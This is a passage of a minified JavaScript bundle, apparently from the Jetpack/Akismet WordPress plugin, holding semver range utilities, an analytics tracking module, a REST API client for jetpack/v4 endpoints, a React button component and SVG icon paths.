)(?:\\.(\\d{1,${r}}))?(?:\\.(\\d{1,${r}}))?(?:$|[^\\d])`),c("COERCERTL",i[s.COERCE],!0),c("LONETILDE","(?:~>?)"),c("TILDETRIM",`(\\s*)${i[s.LONETILDE]}\\s+`,!0),t.tildeTrimReplace="$1~",c("TILDE",`^${i[s.LONETILDE]}${i[s.XRANGEPLAIN]}$`),c("TILDELOOSE",`^${i[s.LONETILDE]}${i[s.XRANGEPLAINLOOSE]}$`),c("LONECARET","(?:\\^)"),c("CARETTRIM",`(\\s*)${i[s.LONECARET]}\\s+`,!0),t.caretTrimReplace="$1^",c("CARET",`^${i[s.LONECARET]}${i[s.XRANGEPLAIN]}$`),c("CARETLOOSE",`^${i[s.LONECARET]}${i[s.XRANGEPLAINLOOSE]}$`),c("COMPARATORLOOSE",`^${i[s.GTLT]}\\s*(${i[s.LOOSEPLAIN]})$|^$`),c("COMPARATOR",`^${i[s.GTLT]}\\s*(${i[s.FULLPLAIN]})$|^$`),c("COMPARATORTRIM",`(\\s*)${i[s.GTLT]}\\s*(${i[s.LOOSEPLAIN]}|${i[s.XRANGEPLAIN]})`,!0),t.comparatorTrimReplace="$1$2$3",c("HYPHENRANGE",`^\\s*(${i[s.XRANGEPLAIN]})\\s+-\\s+(${i[s.XRANGEPLAIN]})\\s*$`),c("HYPHENRANGELOOSE",`^\\s*(${i[s.XRANGEPLAINLOOSE]})\\s+-\\s+(${i[s.XRANGEPLAINLOOSE]})\\s*$`),c("STAR","(<|>)?=?\\s*\\*"),c("GTE0","^\\s*>=\\s*0.0.0\\s*$"),c("GTE0PRE","^\\s*>=\\s*0.0.0-0\\s*$")},48118:function(e,t,n){const r=n(62051);e.exports=(e,t,n)=>r(e,t,">",n)},27445:function(e,t,n){const r=n(53538);e.exports=(e,t,n)=>(e=new r(e,n),t=new r(t,n),e.intersects(t))},80382:function(e,t,n){const r=n(62051);e.exports=(e,t,n)=>r(e,t,"<",n)},43912:function(e,t,n){const r=n(8693),a=n(53538);e.exports=(e,t,n)=>{let o=null,i=null,s=null;try{s=new a(t,n)}catch(e){return null}return e.forEach((e=>{s.test(e)&&(o&&-1!==i.compare(e)||(o=e,i=new r(o,n)))})),o}},80887:function(e,t,n){const r=n(8693),a=n(53538);e.exports=(e,t,n)=>{let o=null,i=null,s=null;try{s=new a(t,n)}catch(e){return null}return e.forEach((e=>{s.test(e)&&(o&&1!==i.compare(e)||(o=e,i=new r(o,n)))})),o}},77124:function(e,t,n){const r=n(8693),a=n(53538),o=n(59590);e.exports=(e,t)=>{e=new a(e,t);let n=new r("0.0.0");if(e.test(n))return n;if(n=new r("0.0.0-0"),e.test(n))return n;n=null;for(let t=0;t<e.set.length;++t){const a=e.set[t];let i=null;a.forEach((e=>{const t=new r(e.semver.version);switch(e.operator){case">":0===t.prerelease.length?t.patch++:t.prerelease.push(0),t.raw=t.format();case"":case">=":i&&!o(t,i)||(i=t);break;case"<":case"<=":break;default:throw new Error(`Unexpected operation: ${e.operator}`)}})),!i||n&&!o(n,i)||(n=i)}return n&&e.test(n)?n:null}},62051:function(e,t,n){const r=n(8693),a=n(49079),{ANY:o}=a,i=n(53538),s=n(44938),l=n(59590),c=n(58546),u=n(66123),d=n(33408);e.exports=(e,t,n,p)=>{let m,h,f,g,b;switch(e=new r(e,p),t=new i(t,p),n){case">":m=l,h=u,f=c,g=">",b=">=";break;case"<":m=c,h=d,f=l,g="<",b="<=";break;default:throw new TypeError('Must provide a hilo val of "<" or ">"')}if(s(e,t,p))return!1;for(let n=0;n<t.set.length;++n){const r=t.set[n];let i=null,s=null;if(r.forEach((e=>{e.semver===o&&(e=new a(">=0.0.0")),i=i||e,s=s||e,m(e.semver,i.semver,p)?i=e:f(e.semver,s.semver,p)&&(s=e)})),i.operator===g||i.operator===b)return!1;if((!s.operator||s.operator===g)&&h(e,s.semver))return!1;if(s.operator===b&&f(e,s.semver))return!1}return!0}},19282:function(e,t,n){const r=n(44938),a=n(256);e.exports=(e,t,n)=>{const o=[];let i=null,s=null;const l=e.sort(((e,t)=>a(e,t,n)));for(const e of l){r(e,t,n)?(s=e,i||(i=e)):(s&&o.push([i,s]),s=null,i=null)}i&&o.push([i,null]);const c=[];for(const[e,t]of o)e===t?c.push(e):t||e!==l[0]?t?e===l[0]?c.push(`<=${t}`):c.push(`${e} - ${t}`):c.push(`>=${e}`):c.push("*");const u=c.join(" || "),d="string"==typeof t.raw?t.raw:String(t);return u.length<d.length?u:t}},79910:function(e,t,n){const r=n(53538),a=n(49079),{ANY:o}=a,i=n(44938),s=n(256),l=(e,t,n)=>{if(e===t)return!0;if(1===e.length&&e[0].semver===o){if(1===t.length&&t[0].semver===o)return!0;e=n.includePrerelease?[new a(">=0.0.0-0")]:[new a(">=0.0.0")]}if(1===t.length&&t[0].semver===o){if(n.includePrerelease)return!0;t=[new a(">=0.0.0")]}const r=new Set;let l,d,p,m,h,f,g;for(const t of e)">"===t.operator||">="===t.operator?l=c(l,t,n):"<"===t.operator||"<="===t.operator?d=u(d,t,n):r.add(t.semver);if(r.size>1)return null;if(l&&d){if(p=s(l.semver,d.semver,n),p>0)return null;if(0===p&&(">="!==l.operator||"<="!==d.operator))return null}for(const e of r){if(l&&!i(e,String(l),n))return null;if(d&&!i(e,String(d),n))return null;for(const r of t)if(!i(e,String(r),n))return!1;return!0}let b=!(!d||n.includePrerelease||!d.semver.prerelease.length)&&d.semver,v=!(!l||n.includePrerelease||!l.semver.prerelease.length)&&l.semver;b&&1===b.prerelease.length&&"<"===d.operator&&0===b.prerelease[0]&&(b=!1);for(const e of t){if(g=g||">"===e.operator||">="===e.operator,f=f||"<"===e.operator||"<="===e.operator,l)if(v&&e.semver.prerelease&&e.semver.prerelease.length&&e.semver.major===v.major&&e.semver.minor===v.minor&&e.semver.patch===v.patch&&(v=!1),">"===e.operator||">="===e.operator){if(m=c(l,e,n),m===e&&m!==l)return!1}else if(">="===l.operator&&!i(l.semver,String(e),n))return!1;if(d)if(b&&e.semver.prerelease&&e.semver.prerelease.length&&e.semver.major===b.major&&e.semver.minor===b.minor&&e.semver.patch===b.patch&&(b=!1),"<"===e.operator||"<="===e.operator){if(h=u(d,e,n),h===e&&h!==d)return!1}else if("<="===d.operator&&!i(d.semver,String(e),n))return!1;if(!e.operator&&(d||l)&&0!==p)return!1}return!(l&&f&&!d&&0!==p)&&(!(d&&g&&!l&&0!==p)&&(!v&&!b))},c=(e,t,n)=>{if(!e)return t;const r=s(e.semver,t.semver,n);return r>0?e:r<0||">"===t.operator&&">="===e.operator?t:e},u=(e,t,n)=>{if(!e)return t;const r=s(e.semver,t.semver,n);return r<0?e:r>0||"<"===t.operator&&"<="===e.operator?t:e};e.exports=(e,t,n={})=>{if(e===t)return!0;e=new r(e,n),t=new r(t,n);let a=!1;e:for(const r of e.set){for(const e of t.set){const t=l(r,e,n);if(a=a||null!==t,t)continue e}if(a)return!1}return!0}},35559:function(e,t,n){const r=n(53538);e.exports=(e,t)=>new r(e,t).set.map((e=>e.map((e=>e.value)).join(" ").trim().split(" ")))},13228:function(e,t,n){const r=n(53538);e.exports=(e,t)=>{try{return new r(e,t).range||"*"}catch(e){return null}}},44434:function(e,t,n){"use strict";n.d(t,{G:function(){return s},a:function(){return i}});var r=n(38697),a=n(68308),o=n(83078);function i(e,t){var n=e.toLowerCase();return 0===t?(0,o.l)(n):n}function s(e,t){return void 0===t&&(t={}),(0,a.B)(e,(0,r.pi)({delimiter:" ",transform:i},t))}},59491:function(e,t,n){"use strict";n.d(t,{f:function(){return o}});var r=n(38697),a=n(77352);function o(e,t){return void 0===t&&(t={}),(0,a.$)(e,(0,r.pi)({delimiter:"_"},t))}},6975:function(e,t,n){"use strict";var r=n(51128);const a=n.n(r)()("dops:analytics");let o,i;window._tkq=window._tkq||[],window.ga=window.ga||function(){(window.ga.q=window.ga.q||[]).push(arguments)},window.ga.l=+new Date;const s={initialize:function(e,t,n){s.setUser(e,t),s.setSuperProps(n),s.identifyUser()},setGoogleAnalyticsEnabled:function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;this.googleAnalyticsEnabled=e,this.googleAnalyticsKey=t},setMcAnalyticsEnabled:function(e){this.mcAnalyticsEnabled=e},setUser:function(e,t){i={ID:e,username:t}},setSuperProps:function(e){o=e},assignSuperProps:function(e){o=Object.assign(o||{},e)},mc:{bumpStat:function(e,t){const n=function(e,t){let n="";if("object"==typeof e){for(const t in e)n+="&x_"+encodeURIComponent(t)+"="+encodeURIComponent(e[t]);a("Bumping stats %o",e)}else n="&x_"+encodeURIComponent(e)+"="+encodeURIComponent(t),a('Bumping stat "%s" in group "%s"',t,e);return n}(e,t);s.mcAnalyticsEnabled&&((new Image).src=document.location.protocol+"//pixel.wp.com/g.gif?v=wpcom-no-pv"+n+"&t="+Math.random())},bumpStatWithPageView:function(e,t){const n=function(e,t){let n="";if("object"==typeof e){for(const t in e)n+="&"+encodeURIComponent(t)+"="+encodeURIComponent(e[t]);a("Built stats %o",e)}else n="&"+encodeURIComponent(e)+"="+encodeURIComponent(t),a('Built stat "%s" in group "%s"',t,e);return n}(e,t);s.mcAnalyticsEnabled&&((new Image).src=document.location.protocol+"//pixel.wp.com/g.gif?v=wpcom"+n+"&t="+Math.random())}},pageView:{record:function(e,t){s.tracks.recordPageView(e),s.ga.recordPageView(e,t)}},purchase:{record:function(e,t,n,r,a,o,i){s.ga.recordPurchase(e,t,n,r,a,o,i)}},tracks:{recordEvent:function(e,t){t=t||{},0===e.indexOf("akismet_")||0===e.indexOf("jetpack_")?(o&&(a("- Super Props: %o",o),t=Object.assign(t,o)),a('Record event "%s" called with props %s',e,JSON.stringify(t)),window._tkq.push(["recordEvent",e,t])):a('- Event name must be prefixed by "akismet_" or "jetpack_"')},recordJetpackClick:function(e){const t="object"==typeof e?e:{target:e};s.tracks.recordEvent("jetpack_wpa_click",t)},recordPageView:function(e){s.tracks.recordEvent("akismet_page_view",{path:e})},setOptOut:function(e){a("Pushing setOptOut: %o",e),window._tkq.push(["setOptOut",e])}},ga:{initialized:!1,initialize:function(){let e={};s.ga.initialized||(i&&(e={userId:"u-"+i.ID}),window.ga("create",this.googleAnalyticsKey,"auto",e),s.ga.initialized=!0)},recordPageView:function(e,t){s.ga.initialize(),a("Recording Page View ~ [URL: "+e+"] [Title: "+t+"]"),this.googleAnalyticsEnabled&&(window.ga("set","page",e),window.ga("send",{hitType:"pageview",page:e,title:t}))},recordEvent:function(e,t,n,r){s.ga.initialize();let o="Recording Event ~ [Category: "+e+"] [Action: "+t+"]";void 0!==n&&(o+=" [Option Label: "+n+"]"),void 0!==r&&(o+=" [Option Value: "+r+"]"),a(o),this.googleAnalyticsEnabled&&window.ga("send","event",e,t,n,r)},recordPurchase:function(e,t,n,r,a,o,i){window.ga("require","ecommerce"),window.ga("ecommerce:addTransaction",{id:e,revenue:r,currency:i}),window.ga("ecommerce:addItem",{id:e,name:t,sku:n,price:a,quantity:o}),window.ga("ecommerce:send")}},identifyUser:function(){i&&window._tkq.push(["identifyUser",i.ID,i.username])},setProperties:function(e){window._tkq.push(["setProperties",e])},clearedIdentity:function(){window._tkq.push(["clearIdentity"])}};t.Z=s},64743:function(e,t,n){"use strict";var r=n(61132),a=n(96483);function o(e){class t extends Error{constructor(){super(...arguments),this.name=e}}return t}const i=o("JsonParseError"),s=o("JsonParseAfterRedirectError"),l=o("Api404Error"),c=o("Api404AfterRedirectError"),u=o("FetchNetworkError");const d=new function(e,t){let n=e,o=e,i={"X-WP-Nonce":t},s={credentials:"same-origin",headers:i},l={method:"post",credentials:"same-origin",headers:Object.assign({},i,{"Content-type":"application/json"})},c=function(e){const t=e.split("?"),n=t.length>1?t[1]:"",r=n.length?n.split("&"):[];return r.push("_cacheBuster="+(new Date).getTime()),t[0]+"?"+r.join("&")};const u={setApiRoot(e){n=e},setWpcomOriginApiUrl(e){o=e},setApiNonce(e){i={"X-WP-Nonce":e},s={credentials:"same-origin",headers:i},l={method:"post",credentials:"same-origin",headers:Object.assign({},i,{"Content-type":"application/json"})}},setCacheBusterCallback:e=>{c=e},registerSite:(e,t)=>{const a={registration_nonce:e,no_iframe:!0};return(0,r.jetpackConfigHas)("consumer_slug")&&(a.plugin_slug=(0,r.jetpackConfigGet)("consumer_slug")),null!==t&&(a.redirect_uri=t),h(`${n}jetpack/v4/connection/register`,l,{body:JSON.stringify(a)}).then(p).then(m)},fetchAuthorizationUrl:e=>d((0,a.addQueryArgs)(`${n}jetpack/v4/connection/authorize_url`,{no_iframe:"1",redirect_uri:e}),s).then(p).then(m),fetchSiteConnectionData:()=>d(`${n}jetpack/v4/connection/data`,s).then(m),fetchSiteConnectionStatus:()=>d(`${n}jetpack/v4/connection`,s).then(m),fetchSiteConnectionTest:()=>d(`${n}jetpack/v4/connection/test`,s).then(p).then(m),fetchUserConnectionData:()=>d(`${n}jetpack/v4/connection/data`,s).then(m),fetchUserTrackingSettings:()=>d(`${n}jetpack/v4/tracking/settings`,s).then(p).then(m),updateUserTrackingSettings:e=>h(`${n}jetpack/v4/tracking/settings`,l,{body:JSON.stringify(e)}).then(p).then(m),disconnectSite:()=>h(`${n}jetpack/v4/connection`,l,{body:JSON.stringify({isActive:!1})}).then(p).then(m),fetchConnectUrl:()=>d(`${n}jetpack/v4/connection/url`,s).then(p).then(m),unlinkUser:()=>h(`${n}jetpack/v4/connection/user`,l,{body:JSON.stringify({linked:!1})}).then(p).then(m),reconnect:()=>h(`${n}jetpack/v4/connection/reconnect`,l).then(p).then(m),fetchConnectedPlugins:()=>d(`${n}jetpack/v4/connection/plugins`,s).then(p).then(m),setHasSeenWCConnectionModal:()=>h(`${n}jetpack/v4/seen-wc-connection-modal`,l).then(p).then(m),fetchModules:()=>d(`${n}jetpack/v4/module/all`,s).then(p).then(m),fetchModule:e=>d(`${n}jetpack/v4/module/${e}`,s).then(p).then(m),activateModule:e=>h(`${n}jetpack/v4/module/${e}/active`,l,{body:JSON.stringify({active:!0})}).then(p).then(m),deactivateModule:e=>h(`${n}jetpack/v4/module/${e}/active`,l,{body:JSON.stringify({active:!1})}),updateModuleOptions:(e,t)=>h(`${n}jetpack/v4/module/${e}`,l,{body:JSON.stringify(t)}).then(p).then(m),updateSettings:e=>h(`${n}jetpack/v4/settings`,l,{body:JSON.stringify(e)}).then(p).then(m),getProtectCount:()=>d(`${n}jetpack/v4/module/protect/data`,s).then(p).then(m),resetOptions:e=>h(`${n}jetpack/v4/options/${e}`,l,{body:JSON.stringify({reset:!0})}).then(p).then(m),activateVaultPress:()=>h(`${n}jetpack/v4/plugins`,l,{body:JSON.stringify({slug:"vaultpress",status:"active"})}).then(p).then(m),getVaultPressData:()=>d(`${n}jetpack/v4/module/vaultpress/data`,s).then(p).then(m),installPlugin:(e,t)=>{const r={slug:e,status:"active"};return t&&(r.source=t),h(`${n}jetpack/v4/plugins`,l,{body:JSON.stringify(r)}).then(p).then(m)},activateAkismet:()=>h(`${n}jetpack/v4/plugins`,l,{body:JSON.stringify({slug:"akismet",status:"active"})}).then(p).then(m),getAkismetData:()=>d(`${n}jetpack/v4/module/akismet/data`,s).then(p).then(m),checkAkismetKey:()=>d(`${n}jetpack/v4/module/akismet/key/check`,s).then(p).then(m),checkAkismetKeyTyped:e=>h(`${n}jetpack/v4/module/akismet/key/check`,l,{body:JSON.stringify({api_key:e})}).then(p).then(m),fetchStatsData:e=>d(function(e){let t=`${n}jetpack/v4/module/stats/data`;-1!==t.indexOf("?")?t+=`&range=${encodeURIComponent(e)}`:t+=`?range=${encodeURIComponent(e)}`;return t}(e),s).then(p).then(m).then(g),getPluginUpdates:()=>d(`${n}jetpack/v4/updates/plugins`,s).then(p).then(m),getPlans:()=>d(`${n}jetpack/v4/plans`,s).then(p).then(m),fetchSettings:()=>d(`${n}jetpack/v4/settings`,s).then(p).then(m),updateSetting:e=>h(`${n}jetpack/v4/settings`,l,{body:JSON.stringify(e)}).then(p).then(m),fetchSiteData:()=>d(`${n}jetpack/v4/site`,s).then(p).then(m).then((e=>JSON.parse(e.data))),fetchSiteFeatures:()=>d(`${n}jetpack/v4/site/features`,s).then(p).then(m).then((e=>JSON.parse(e.data))),fetchSiteProducts:()=>d(`${n}jetpack/v4/site/products`,s).then(p).then(m),fetchSitePurchases:()=>d(`${n}jetpack/v4/site/purchases`,s).then(p).then(m).then((e=>JSON.parse(e.data))),fetchSiteBenefits:()=>d(`${n}jetpack/v4/site/benefits`,s).then(p).then(m).then((e=>JSON.parse(e.data))),fetchSiteDiscount:()=>d(`${n}jetpack/v4/site/discount`,s).then(p).then(m).then((e=>e.data)),fetchSetupQuestionnaire:()=>d(`${n}jetpack/v4/setup/questionnaire`,s).then(p).then(m),fetchRecommendationsData:()=>d(`${n}jetpack/v4/recommendations/data`,s).then(p).then(m),fetchRecommendationsProductSuggestions:()=>d(`${n}jetpack/v4/recommendations/product-suggestions`,s).then(p).then(m),fetchRecommendationsUpsell:()=>d(`${n}jetpack/v4/recommendations/upsell`,s).then(p).then(m),fetchRecommendationsConditional:()=>d(`${n}jetpack/v4/recommendations/conditional`,s).then(p).then(m),saveRecommendationsData:e=>h(`${n}jetpack/v4/recommendations/data`,l,{body:JSON.stringify({data:e})}).then(p),fetchProducts:()=>d(`${n}jetpack/v4/products`,s).then(p).then(m),fetchRewindStatus:()=>d(`${n}jetpack/v4/rewind`,s).then(p).then(m).then((e=>JSON.parse(e.data))),fetchScanStatus:()=>d(`${n}jetpack/v4/scan`,s).then(p).then(m).then((e=>JSON.parse(e.data))),dismissJetpackNotice:e=>h(`${n}jetpack/v4/notice/${e}`,l,{body:JSON.stringify({dismissed:!0})}).then(p).then(m),fetchPluginsData:()=>d(`${n}jetpack/v4/plugins`,s).then(p).then(m),fetchIntroOffers:()=>d(`${n}jetpack/v4/intro-offers`,s).then(p).then(m),fetchVerifySiteGoogleStatus:e=>d(null!==e?`${n}jetpack/v4/verify-site/google/${e}`:`${n}jetpack/v4/verify-site/google`,s).then(p).then(m),verifySiteGoogle:e=>h(`${n}jetpack/v4/verify-site/google`,l,{body:JSON.stringify({keyring_id:e})}).then(p).then(m),submitSurvey:e=>h(`${n}jetpack/v4/marketing/survey`,l,{body:JSON.stringify(e)}).then(p).then(m),saveSetupQuestionnaire:e=>h(`${n}jetpack/v4/setup/questionnaire`,l,{body:JSON.stringify(e)}).then(p).then(m),updateLicensingError:e=>h(`${n}jetpack/v4/licensing/error`,l,{body:JSON.stringify(e)}).then(p).then(m),updateLicenseKey:e=>h(`${n}jetpack/v4/licensing/set-license`,l,{body:JSON.stringify({license:e})}).then(p).then(m),getUserLicensesCounts:()=>d(`${n}jetpack/v4/licensing/user/counts`,s).then(p).then(m),getUserLicenses:()=>d(`${n}jetpack/v4/licensing/user/licenses`,s).then(p).then(m),updateLicensingActivationNoticeDismiss:e=>h(`${n}jetpack/v4/licensing/user/activation-notice-dismiss`,l,{body:JSON.stringify({last_detached_count:e})}).then(p).then(m),updateRecommendationsStep:e=>h(`${n}jetpack/v4/recommendations/step`,l,{body:JSON.stringify({step:e})}).then(p),confirmIDCSafeMode:()=>h(`${n}jetpack/v4/identity-crisis/confirm-safe-mode`,l).then(p),startIDCFresh:e=>h(`${n}jetpack/v4/identity-crisis/start-fresh`,l,{body:JSON.stringify({redirect_uri:e})}).then(p).then(m),migrateIDC:()=>h(`${n}jetpack/v4/identity-crisis/migrate`,l).then(p),attachLicenses:e=>h(`${n}jetpack/v4/licensing/attach-licenses`,l,{body:JSON.stringify({licenses:e})}).then(p).then(m),fetchSearchPlanInfo:()=>d(`${o}jetpack/v4/search/plan`,s).then(p).then(m),fetchSearchSettings:()=>d(`${o}jetpack/v4/search/settings`,s).then(p).then(m),updateSearchSettings:e=>h(`${o}jetpack/v4/search/settings`,l,{body:JSON.stringify(e)}).then(p).then(m),fetchSearchStats:()=>d(`${o}jetpack/v4/search/stats`,s).then(p).then(m),fetchWafSettings:()=>d(`${n}jetpack/v4/waf`,s).then(p).then(m),updateWafSettings:e=>h(`${n}jetpack/v4/waf`,l,{body:JSON.stringify(e)}).then(p).then(m),fetchWordAdsSettings:()=>d(`${n}jetpack/v4/wordads/settings`,s).then(p).then(m),updateWordAdsSettings:e=>h(`${n}jetpack/v4/wordads/settings`,l,{body:JSON.stringify(e)}),fetchSearchPricing:()=>d(`${o}jetpack/v4/search/pricing`,s).then(p).then(m),fetchMigrationStatus:()=>d(`${n}jetpack/v4/migration/status`,s).then(p).then(m)};function d(e,t){return fetch(c(e),t)}function h(e,t,n){return fetch(e,Object.assign({},t,n)).catch(f)}function g(e){return e.general&&void 0===e.general.response||e.week&&void 0===e.week.response||e.month&&void 0===e.month.response?e:{}}Object.assign(this,u)};function p(e){return e.status>=200&&e.status<300?e:404===e.status?new Promise((()=>{throw e.redirected?new c(e.redirected):new l})):e.json().catch((e=>h(e))).then((t=>{const n=new Error(`${t.message} (Status ${e.status})`);throw n.response=t,n.name="ApiError",n}))}function m(e){return e.json().catch((t=>h(t,e.redirected,e.url)))}function h(e,t,n){throw t?new s(n):new i}function f(){throw new u}t.ZP=d},90526:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(55609),i=n(61074),s=n(15381),l=n(65235),c=n.n(l),u=n(99196),d=n.n(u),p=n(62103);const m=(0,u.forwardRef)(((e,t)=>{const{children:n,variant:r="primary",size:l="normal",weight:u="bold",icon:m,iconSize:h,disabled:f,isDestructive:g,isLoading:b,isExternalLink:v,className:k,text:y,fullWidth:E,...w}=e,_=c()(p.Z.button,k,{[p.Z.normal]:"normal"===l,[p.Z.small]:"small"===l,[p.Z.icon]:Boolean(m),[p.Z.loading]:b,[p.Z.regular]:"regular"===u,[p.Z["full-width"]]:E,[p.Z["is-icon-button"]]:Boolean(m)&&!n});w.ref=t;const C="normal"===l?20:16,S=v&&d().createElement(i.Z,{size:C,icon:s.Z,className:p.Z["external-icon"]}),j=v?"_blank":void 0,x=n?.[0]&&null!==n[0]&&"components-tooltip"!==n?.[0]?.props?.className;return d().createElement(o.Button,a()({target:j,variant:r,className:c()(_,{"has-text":!!m&&x}),icon:v?void 0:m,iconSize:h,disabled:f,"aria-disabled":f,isDestructive:g,text:y},w),b&&d().createElement(o.Spinner,null),d().createElement("span",null,n),S)}));m.displayName="Button",t.Z=m},3396:function(e,t,n){"use strict";n.d(t,{av:function(){return p}});var r=n(82674),a=n.n(r),o=n(55609),i=n(65235),s=n.n(i),l=n(45460);const c=e=>{let{className:t,size:n=24,viewBox:r="0 0 24 24",opacity:i=1,color:c="#2C3338",children:u}=e;const d={className:s()(l.Z.iconWrapper,t),width:n,height:n,viewBox:r,opacity:i,fill:void 0};return c&&(d.fill=c),React.createElement(o.SVG,a()({},d,{fillRule:"evenodd",clipRule:"evenodd",xmlns:"http://www.w3.org/2000/svg"}),React.createElement(o.G,{opacity:i},u))},u=e=>{let{className:t,fill:n="none",size:r,children:a}=e;return React.createElement(c,{className:s()(l.Z.socialIcon,t),size:r,color:n},a)},d={...{"anti-spam":e=>{let{opacity:t=1,size:n,color:r}=e;return React.createElement(c,{size:n,opacity:t,color:r},React.createElement(o.Path,{d:"M13.2,4.7l4.7,12.8c0.4,1.1,1,1.5,2.1,1.6c0.1,0,0.1,0,0.1,0l0.1,0.1l0.1,0.1c0,0.1,0,0.1,0,0.2c0,0.1,0,0.1,0,0.1 s0,0.1-0.1,0.1c-0.1,0-0.1,0.1-0.1,0.1s-0.1,0-0.2,0h-5.1c-0.1,0-0.1,0-0.2,0c-0.1,0-0.1-0.1-0.1-0.1l-0.1-0.1c0-0.1,0-0.1,0-0.1 c0-0.1,0-0.1,0-0.2s0-0.1,0.1-0.1l0.1-0.1c0,0,0.1,0,0.2,0c0.5,0,1.1-0.2,1.1-0.8c0-0.3-0.1-0.5-0.2-0.8l-1.1-3.1 c-0.1-0.2-0.1-0.2-0.2-0.2h-4.3c-0.7,0-1.5,0-1.9,0.9l-1.1,2.4C7.1,17.6,7,17.8,7,18.1c0,0.8,1,0.9,1.6,0.9c0.1,0,0.1,0,0.2,0 L8.8,19l0.1,0.1c0,0.1,0,0.1,0,0.2c0,0.1,0,0.1,0,0.1s-0.1,0.1-0.1,0.1l-0.1,0.1c-0.1,0-0.1,0-0.2,0H4.1c-0.1,0-0.1,0-0.1,0 c-0.1,0-0.1-0.1-0.1-0.1l-0.1-0.1c0-0.1,0-0.1,0-0.1c0-0.1,0-0.1,0-0.2s0-0.1,0.1-0.1L4,19c0,0,0.1,0,0.1,0C5.2,19,5.5,18.5,6,17.5 l5.4-12.4c0.2-0.5,0.8-1,1.3-1C13,4.2,13.1,4.4,13.2,4.7z M9.1,13.1c0,0.1-0.1,0.1-0.1,0.2c0,0.1,0.1,0.1,0.1,0.1h4.4 c0.3,0,0.4-0.1,0.4-0.3c0-0.1,0-0.2-0.1-0.3l-1.2-3.5c-0.3-0.8-0.8-1.9-0.8-2.7c0-0.1,0-0.1-0.1-0.1c0,0-0.1,0-0.1,0.1 c-0.1,0.6-0.4,1.2-0.7,1.7L9.1,13.1z"}),React.createElement(o.Path,{d:"M13.2,4.7l4.7,12.8c0.4,1.1,1,1.5,2.1,1.6c0.1,0,0.1,0,0.1,0l0.1,0.1l0.1,0.1c0,0.1,0,0.1,0,0.2c0,0.1,0,0.1,0,0.1 s0,0.1-0.1,0.1c-0.1,0-0.1,0.1-0.1,0.1s-0.1,0-0.2,0h-5.1c-0.1,0-0.1,0-0.2,0c-0.1,0-0.1-0.1-0.1-0.1l-0.1-0.1c0-0.1,0-0.1,0-0.1 c0-0.1,0-0.1,0-0.2s0-0.1,0.1-0.1l0.1-0.1c0,0,0.1,0,0.2,0c0.5,0,1.1-0.2,1.1-0.8c0-0.3-0.1-0.5-0.2-0.8l-1.1-3.1 c-0.1-0.2-0.1-0.2-0.2-0.2h-4.3c-0.7,0-1.5,0-1.9,0.9l-1.1,2.4C7.1,17.6,7,17.8,7,18.1c0,0.8,1,0.9,1.6,0.9c0.1,0,0.1,0,0.2,0 L8.8,19l0.1,0.1c0,0.1,0,0.1,0,0.2c0,0.1,0,0.1,0,0.1s-0.1,0.1-0.1,0.1l-0.1,0.1c-0.1,0-0.1,0-0.2,0H4.1c-0.1,0-0.1,0-0.1,0 c-0.1,0-0.1-0.1-0.1-0.1l-0.1-0.1c0-0.1,0-0.1,0-0.1c0-0.1,0-0.1,0-0.2s0-0.1,0.1-0.1L4,19c0,0,0.1,0,0.1,0C5.2,19,5.5,18.5,6,17.5 l5.4-12.4c0.2-0.5,0.8-1,1.3-1C13,4.2,13.1,4.4,13.2,4.7z M9.1,13.1c0,0.1-0.1,0.1-0.1,0.2c0,0.1,0.1,0.1,0.1,0.1h4.4 c0.3,0,0.4-0.1,0.4-0.3c0-0.1,0-0.2-0.1-0.3l-1.2-3.5c-0.3-0.8-0.8-1.9-0.8-2.7c0-0.1,0-0.1-0.1-0.1c0,0-0.1,0-0.1,0.1 c-0.1,0.6-0.4,1.2-0.7,1.7L9.1,13.1z"}),React.createElement(o.Path,{d:"M21.6,12.5c0,0.6-0.3,1-0.9,1c-0.6,0-0.8-0.3-0.8-0.8c0-0.6,0.4-1,0.9-1C21.3,11.7,21.6,12.1,21.6,12.5z"}),React.createElement(o.Path,{d:"M4.1,12.5c0,0.6-0.3,1-0.9,1s-0.8-0.3-0.8-0.8c0-0.6,0.4-1,0.9-1S4.1,12.1,4.1,12.5z"}))},backup:e=>{let{opacity:t=1,size:n,color:r}=e;return React.createElement(c,{size:n,opacity:t,color:r},React.createElement(o.Path,{d:"M2.1,5.8c0-0.1,0-0.1,0-0.2c0-0.2,0.1-0.5,0.1-0.7c0.1-0.4,0.4-0.6,0.7-0.8l8.3-2.9c0.1-0.1,0.3-0.1,0.4-0.1l0.5,0.1 l8.3,2.9c0.3,0.2,0.5,0.4,0.7,0.7c0.2,0.2,0.2,0.4,0.2,0.7c0,0.1,0,0.1,0,0.2v0.1c-0.1,0.5-0.2,0.9-0.3,1.4 c-0.2,0.4-0.3,1.2-0.7,2.2c-0.3,1-0.7,2.1-1.1,3.1c-0.5,1-1,2.1-1.6,3.3s-1.4,2.3-2.2,3.5c-0.9,1.1-1.8,2.2-2.8,3.1 c-0.2,0.2-0.5,0.4-0.9,0.4c-0.3,0-0.6-0.1-0.9-0.4c-1.2-1.1-2.4-2.4-3.5-4c-1-1.6-1.9-3-2.5-4.3c-0.6-1.3-1.1-2.7-1.6-4 C2.8,8.7,2.5,7.6,2.3,7C2.3,6.5,2.1,6.1,2.1,5.8z M2.9,5.9c0,0.2,0.1,0.4,0.1,0.8C3.1,7,3.2,7.5,3.5,8.2C3.7,9,3.9,9.7,4.2,10.6 c0.3,0.7,0.7,1.7,1.1,2.7c0.4,1,1,2,1.5,2.9c0.5,1,1.2,1.9,1.9,2.9c0.8,1,1.6,1.9,2.4,2.6c0.2,0.2,0.4,0.2,0.5,0.2 c0.2,0,0.4-0.1,0.5-0.2c1.2-1,2.2-2.3,3.2-3.8c1-1.5,1.8-2.8,2.3-4c0.6-1.3,1.1-2.5,1.5-3.9c0.4-1.3,0.7-2.2,0.9-2.8 c0.1-0.5,0.2-1,0.3-1.3c0-0.1,0-0.1,0-0.1c0-0.2,0-0.3-0.1-0.4C20.3,5.2,20.2,5.1,20,5L12,2.1c0,0-0.1,0-0.2,0s-0.1,0-0.1,0h-0.2 l-8,2.8C3.2,5,3.1,5.2,3,5.3C2.9,5.5,2.9,5.6,2.9,5.8C2.9,5.8,2.9,5.8,2.9,5.9z M5.9,6.7h3l2.8,7l2.8-7h3c-0.1,0.1-0.2,0.5-0.3,0.8 